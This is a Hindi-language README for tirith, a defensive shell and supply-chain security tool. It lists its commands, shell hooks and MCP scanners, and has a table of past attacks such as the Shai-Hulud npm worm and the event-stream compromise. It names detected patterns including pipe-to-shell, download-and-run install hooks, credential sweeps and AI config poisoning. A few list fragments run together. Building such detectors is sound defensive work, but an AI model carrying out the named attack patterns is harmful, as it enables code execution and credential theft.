- [Uninstall](https://github.com/sheeki03/tirith/blob/HEAD/docs/uninstall.md), प्रति शेल और पैकेज मैनेजर साफ हटाना
फीचर गाइड:
- [Agent governance](https://github.com/sheeki03/tirith/blob/HEAD/docs/agent-governance-design.md) (कॉलर-मूल आरोपण और `agent_rules`)
- [MCP output filter](https://github.com/sheeki03/tirith/blob/HEAD/docs/mcp-output-filter.md) (गेटवे और MCP आउटपुट-सैनिटाइज़ेशन अनुबंध)
- [Doctor modes](https://github.com/sheeki03/tirith/blob/HEAD/docs/doctor-modes.md) (पूर्ण बनाम `--quick`, और JSON स्नैपशॉट स्कीमा)
- [LSP and editor profiles](https://github.com/sheeki03/tirith/blob/HEAD/docs/lsp-profiles.md) (इनलाइन संपादक डायग्नोस्टिक्स)
- [Browser native messaging](https://github.com/sheeki03/tirith/blob/HEAD/docs/browser-native-messaging.md) (क्लिपबोर्ड-प्रोवेनेंस होस्ट और एक्सटेंशन)
- [Paste provenance](https://github.com/sheeki03/tirith/blob/HEAD/docs/paste-provenance.md) (`paste_source_mismatch` नियम)
- [Canary formats](https://github.com/sheeki03/tirith/blob/HEAD/docs/canary-formats.md) (सिंथेटिक हनीटोकन प्रारूप)
- [Prompt integration](https://github.com/sheeki03/tirith/blob/HEAD/docs/prompt-integration.md) (अपने शेल प्रॉम्प्ट में `tirith prompt-status` को वायर करना)
## लाइसेंस
**मुख्य सुरक्षा कवरेज ओपन-सोर्स ट्री में शामिल है।** सभी 221 डिटेक्शन नियम और MCP सर्वर स्रोत से उपलब्ध हैं। रिपॉजिटरी में अभी भी लीगेसी लाइसेंसिंग और पॉलिसी-सर्वर कोड पथ शामिल हैं, इसलिए यह न मानें कि प्रत्येक रनटाइम पथ पहले से ही टियर-मुक्त है।
tirith दोहरे लाइसेंस के तहत है:
- **AGPL-3.0-only**: [LICENSE-AGPL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-AGPL), कॉपीलेफ्ट शर्तों के तहत मुफ्त
- **Commercial**: [LICENSE-COMMERCIAL](https://github.com/sheeki03/tirith/blob/HEAD/LICENSE-COMMERCIAL), यदि AGPL कॉपीलेफ्ट दायित्व आपके उपयोग के लिए काम नहीं करते हैं, तो वैकल्पिक लाइसेंसिंग के लिए [email protected] से संपर्क करें
तीसरे पक्ष के डेटा एट्रिब्यूशन [NOTICE](https://github.com/sheeki03/tirith/blob/HEAD/NOTICE) में।
## स्टार हिस्ट्री
[](https://star-history.com/#sheeki03/tirith&Date)
| घटना | वर्ष | आक्रमण का स्वरूप |
|---|
| Shai-Hulud npm worm | 2025 | स्व-प्रसार पैकेज मैलवेयर; 180+ पैकेजों से GitHub टोकन और AWS कुंजियाँ निकालीं, सार्वजनिक Shai-Hulud रिपॉजिटरी में निष्कर्ष प्रकाशित किए |
| Slopsquatting | 2023 to ongoing | हमलावर npm/PyPI/crates.io पर LLM-भ्रमित पैकेज नाम पंजीकृत करते हैं; USENIX 2025 ने पाया कि 58% भ्रमित नाम रनों में दोहराए जाते हैं |
| Team PCP / UNC1069 tooling | ongoing | समझौते के बाद क्रेडेंशियल स्वीप, /proc/*/mem स्क्रैपिंग, Docker विशेषाधिकार वृद्धि |
| colors.js / faker.js sabotage | 2022 | व्यापक रूप से उपयोग किए जाने वाले पैकेजों का लेखक द्वारा स्व-तोड़फोड़ |
| event-stream compromise | 2018 | स्वामित्व हमलावर को स्थानांतरित; पेलोड ने Bitcoin वॉलेट्स को लक्षित किया |
| उपकरण | यह क्या करता है |
|---|
tirith_check_command | शेल कमांड का पाइप-टू-शेल, होमोग्राफ URL, env इंजेक्शन के लिए विश्लेषण करें |
tirith_check_url | होमोग्राफ हमलों, प्यूनिकोड ट्रिक्स, छोटे URL, रॉ IP के लिए URL को स्कोर करें |
tirith_check_paste | पेस्ट की गई सामग्री में ANSI एस्केप, bidi नियंत्रण, शून्य-चौड़ाई वर्णों की जाँच करें |
tirith_scan_file | फ़ाइल में छिपी सामग्री, अदृश्य यूनिकोड, कॉन्फ़िग पॉइज़निंग के लिए स्कैन करें |
tirith_scan_directory | AI कॉन्फ़िग फ़ाइल प्राथमिकता के साथ पुनरावर्ती स्कैन |
tirith_verify_mcp_config | असुरक्षित सर्वर, तर्कों में शेल इंजेक्शन, वाइल्डकार्ड टूल के लिए MCP कॉन्फ़िग मान्य करें |
tirith_fetch_cloaking | सर्वर-साइड क्लोकिंग का पता लगाएं (बॉट बनाम ब्राउज़र के लिए अलग सामग्री) |
mcp_settings.json.github/copilot-instructions.md, .github/agents/*.mdChart.yaml), एक चार्ट निर्भरता अविश्वसनीय चार्ट रिपॉजिटरी सेpackage.json: एक preinstall / install / postinstall जीवनचक्र स्क्रिप्ट जो एक खतरनाक कमांड चलाती है (पाइप-टू-शेल, अवरोधित पेलोड, डाउनलोड-एंड-रन); ये हुक npm install पर स्वचालित रूप से चलते हैं| शेल |
|---|
| हुक प्रकार |
|---|
| परीक्षित संस्करण |
|---|
| zsh | preexec + paste widget | 5.8+ |
| bash | preexec (दो मोड) | 5.0+ |
| fish | fish_preexec event | 3.5+ |
| PowerShell | PSReadLine हैंडलर | 7.0+ |
| शेल | व्यवहार |
|---|
| bash enter मोड | विश्वसनीय रोकथाम। Enter को बाइंड करता है; bash के कमांड को चलाने के लिए प्रतिबद्ध होने से पहले उसे रोक सकता है। डिफ़ॉल्ट रूप से केवल वहीं उपयोग किया जाता है जहां क्षमता स्व-परीक्षण (tirith doctor --simulate-enter) ने सिद्ध किया है कि bind -x डिलीवरी चल रहे bash के लिए काम करती है। |
bash preexec + TIRITH_BASH_PREEXEC_ENFORCE=1 | सशर्त रोकथाम। shopt -s extdebug का उपयोग करता है; तब रोकता है जब bash का history एक भरोसेमंद पूरी-लाइन दृश्य प्रदान कर सके। जब history फ़िल्टर्ड होती है (HISTCONTROL=ignorespace/ignoredups/ignoreboth, कोई HISTIGNORE, या set +o history) या कोई alias / कमांड सब्स्टीट्यूशन / eval टाइप की गई लाइन को BASH_COMMAND से भटका देता है, तो केवल-चेतावनी में डाउनग्रेड हो जाता है। |
| bash preexec (कोई enforce फ़्लैग नहीं) | केवल-चेतावनी। जोखिम भरे कमांड पर DETECTED बैनर प्रिंट करता है; रोकता नहीं। यह फ़ॉलबैक तब होता है जब enter-मोड स्व-परीक्षण ने डिलीवरी के काम करने को सिद्ध नहीं किया है। |
| zsh, fish, powershell | नेटिव preexec हुक के माध्यम से विश्वसनीय रोकथाम। |
| nushell | केवल-चेतावनी (वर्तमान में कमांड इंटरसेप्शन का समर्थन नहीं करता)। |
| कमांड | यह क्या करता है |
|---|
tirith check -- <cmd> | किसी कमांड को निष्पादित किए बिना उसका विश्लेषण करें (--suggest एक सुरक्षित पुनर्लेखन जोड़ता है) |
tirith paste | चिपकाई गई सामग्री की जाँच करें (शेल हुक द्वारा स्वचालित रूप से कॉल किया गया) |
tirith scan [path] | फ़ाइलों, निर्देशिकाओं और कॉन्फ़िग को स्कैन करें (--profile, --format sarif, --ci) |
tirith run <url> | सुरक्षित curl | bash विकल्प: डाउनलोड, विश्लेषण, समीक्षा, फिर निष्पादित करें (Unix) |
tirith fix -- <cmd> | एक जोखिम भरे कमांड को सुरक्षित रूप में इंटरैक्टिव रूप से पुनर्लेखित करें |
tirith score <url> / diff <url> | URL के विश्वास संकेतों का विघटन करें, या दिखाएँ कि संदिग्ध वर्ण कहाँ छिपे हैं |
tirith explain --rule <id> / why | नियम दस्तावेज़ और सुधार, या अंतिम ट्रिगर की व्याख्या करें |
tirith status / doctor | क्या आप सुरक्षित हैं? इंस्टॉल, हुक और नीति का निदान करें (--fix, --quick) |
tirith setup <tool> / init | एक-कमांड AI-टूल सेटअप, या शेल हुक प्रिंट करें |
tirith policy {init,validate,test} | अपनी नीति को स्कैफोल्ड, मान्य और ड्राई-रन करें |
tirith trust {add,list,remove} | विश्वसनीय पैटर्न प्रबंधित करें (डिफ़ॉल्ट रूप से संकीर्ण दायरा, 30-दिन TTL) |
tirith threat-db update | हस्ताक्षरित खतरा डेटाबेस डाउनलोड और सत्यापित करें |
tirith package risk <eco> <name> | पैकेज के आपूर्ति-श्रृंखला जोखिम का स्कोर करें |
tirith ecosystem scan [path] | प्रोजेक्ट में प्रत्येक घोषित निर्भरता का स्कोर करें |
tirith mcp {lock,verify} | रिपॉजिटरी के MCP सर्वर को पिन और गेट करें |
tirith daemon start | तेज़ जाँच के लिए बैकग्राउंड डेमॉन (Unix) |
TIRITH_OFFLINE=1tirith pastetirith daemon start ही एकमात्र स्थायी प्रक्रिया है, और यह ऑप्ट-इन है।run, fetch, और audit report --upload स्पष्ट आह्वान पर ही नेटवर्क तक पहुँचते हैं;
खतरा-डीबी रिफ्रेश ऊपर दिए गए शेड्यूल का पालन करता है। डेमॉन मोड
नेटवर्क-जागरूक URL रिज़ॉल्यूशन जोड़ता है, और वैकल्पिक वेबहुक / पॉलिसी-सर्वर
एकीकरण कॉन्फ़िगर होने पर आउटबाउंड अनुरोध कर सकते हैं। कोर डिटेक्शन
कभी भी फ़ोन-होम नहीं करता।tirith run, fetch --save, और command-card fetch डिफ़ॉल्ट रूप से प्राइवेट, लूपबैक और क्लाउड-मेटाडेटा होस्ट को अस्वीकार करते हैं, और एक
SSRF गार्ड हर रीडायरेक्ट हॉप की पुनर्जाँच करता है। उन्हें अनुमति देने के लिए TIRITH_ALLOW_PRIVATE_FETCH=1
सेट करें।